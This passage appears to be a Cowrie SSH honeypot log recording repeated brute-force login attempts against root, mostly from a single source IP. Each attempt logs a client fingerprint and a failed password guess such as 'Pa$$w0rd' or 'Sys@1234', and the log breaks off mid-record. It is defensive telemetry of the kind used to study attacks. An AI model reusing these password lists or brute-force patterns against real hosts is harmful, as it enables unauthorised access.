{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:01:36.524285Z","src_ip":"60.165.124.241","session":"82a442cf9726","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":41592,"dst_ip":"10.17.0.5","dst_port":22,"session":"4b6bf3dbd1ae","protocol":"ssh","message":"New connection: 60.165.124.241:41592 (10.17.0.5:22) [session: 4b6bf3dbd1ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:01:36.737831Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:01:36.742713Z","src_ip":"60.165.124.241","session":"4b6bf3dbd1ae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:01:36.983652Z","src_ip":"60.165.124.241","session":"4b6bf3dbd1ae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aaaaaaaa","message":"login attempt [root/aaaaaaaa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:01:37.700637Z","src_ip":"60.165.124.241","session":"4b6bf3dbd1ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:01:38.941628Z","src_ip":"60.165.124.241","session":"4b6bf3dbd1ae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":44604,"dst_ip":"10.17.0.5","dst_port":22,"session":"b289caecf470","protocol":"ssh","message":"New connection: 60.165.124.241:44604 (10.17.0.5:22) [session: b289caecf470]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:01:39.200670Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:01:39.206203Z","src_ip":"60.165.124.241","session":"b289caecf470","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:01:39.455077Z","src_ip":"60.165.124.241","session":"b289caecf470","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"QWEasdzxc123","message":"login attempt [root/QWEasdzxc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:01:40.211893Z","src_ip":"60.165.124.241","session":"b289caecf470","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:01:41.465953Z","src_ip":"60.165.124.241","session":"b289caecf470","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":47568,"dst_ip":"10.17.0.5","dst_port":22,"session":"afd11a0fa6f1","protocol":"ssh","message":"New connection: 60.165.124.241:47568 (10.17.0.5:22) [session: afd11a0fa6f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:01:41.713719Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:01:41.719466Z","src_ip":"60.165.124.241","session":"afd11a0fa6f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:01:41.974566Z","src_ip":"60.165.124.241","session":"afd11a0fa6f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Pa$$w0rd","message":"login attempt [root/Pa$$w0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:01:42.730122Z","src_ip":"60.165.124.241","session":"afd11a0fa6f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:01:43.983122Z","src_ip":"60.165.124.241","session":"afd11a0fa6f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":50996,"dst_ip":"10.17.0.5","dst_port":22,"session":"848ab0213411","protocol":"ssh","message":"New connection: 60.165.124.241:50996 (10.17.0.5:22) [session: 848ab0213411]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:01:44.205342Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:01:44.210836Z","src_ip":"60.165.124.241","session":"848ab0213411","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:01:44.453308Z","src_ip":"60.165.124.241","session":"848ab0213411","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password08","message":"login attempt [root/Password08] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:01:45.178934Z","src_ip":"60.165.124.241","session":"848ab0213411","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:01:46.422210Z","src_ip":"60.165.124.241","session":"848ab0213411","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":53712,"dst_ip":"10.17.0.5","dst_port":22,"session":"3587630c0594","protocol":"ssh","message":"New connection: 60.165.124.241:53712 (10.17.0.5:22) [session: 3587630c0594]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:01:46.651088Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:01:46.656773Z","src_ip":"60.165.124.241","session":"3587630c0594","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:01:46.896404Z","src_ip":"60.165.124.241","session":"3587630c0594","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"j3qq4h7h2v","message":"login attempt [root/j3qq4h7h2v] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:01:47.606859Z","src_ip":"60.165.124.241","session":"3587630c0594","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:01:48.844334Z","src_ip":"60.165.124.241","session":"3587630c0594","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":56740,"dst_ip":"10.17.0.5","dst_port":22,"session":"55a240b2f259","protocol":"ssh","message":"New connection: 60.165.124.241:56740 (10.17.0.5:22) [session: 55a240b2f259]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:01:49.080687Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:01:49.086239Z","src_ip":"60.165.124.241","session":"55a240b2f259","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:01:49.325273Z","src_ip":"60.165.124.241","session":"55a240b2f259","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aA!123456","message":"login attempt [root/aA!123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:01:50.058827Z","src_ip":"60.165.124.241","session":"55a240b2f259","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:01:51.297785Z","src_ip":"60.165.124.241","session":"55a240b2f259","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":59894,"dst_ip":"10.17.0.5","dst_port":22,"session":"8d6a4b6ee4d2","protocol":"ssh","message":"New connection: 60.165.124.241:59894 (10.17.0.5:22) [session: 8d6a4b6ee4d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:01:51.537359Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:01:51.542411Z","src_ip":"60.165.124.241","session":"8d6a4b6ee4d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:01:51.788589Z","src_ip":"60.165.124.241","session":"8d6a4b6ee4d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qa2ws3ed","message":"login attempt [root/1qa2ws3ed] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:01:52.511830Z","src_ip":"60.165.124.241","session":"8d6a4b6ee4d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:01:53.766732Z","src_ip":"60.165.124.241","session":"8d6a4b6ee4d2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":34632,"dst_ip":"10.17.0.5","dst_port":22,"session":"8c0fa869be0e","protocol":"ssh","message":"New connection: 60.165.124.241:34632 (10.17.0.5:22) [session: 8c0fa869be0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:01:53.999812Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:01:54.006445Z","src_ip":"60.165.124.241","session":"8c0fa869be0e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:01:54.243804Z","src_ip":"60.165.124.241","session":"8c0fa869be0e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Sys@1234","message":"login attempt [root/Sys@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:01:54.961149Z","src_ip":"60.165.124.241","session":"8c0fa869be0e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":44248,"dst_ip":"159.203.135.109","dst_port":22,"session":"7d6d3e8262fc","protocol":"ssh","message":"New connection: 2.57.122.208:44248 (159.203.135.109:22) [session: 7d6d3e8262fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:01:55.332231Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:01:55.522426Z","src_ip":"2.57.122.208","session":"7d6d3e8262fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.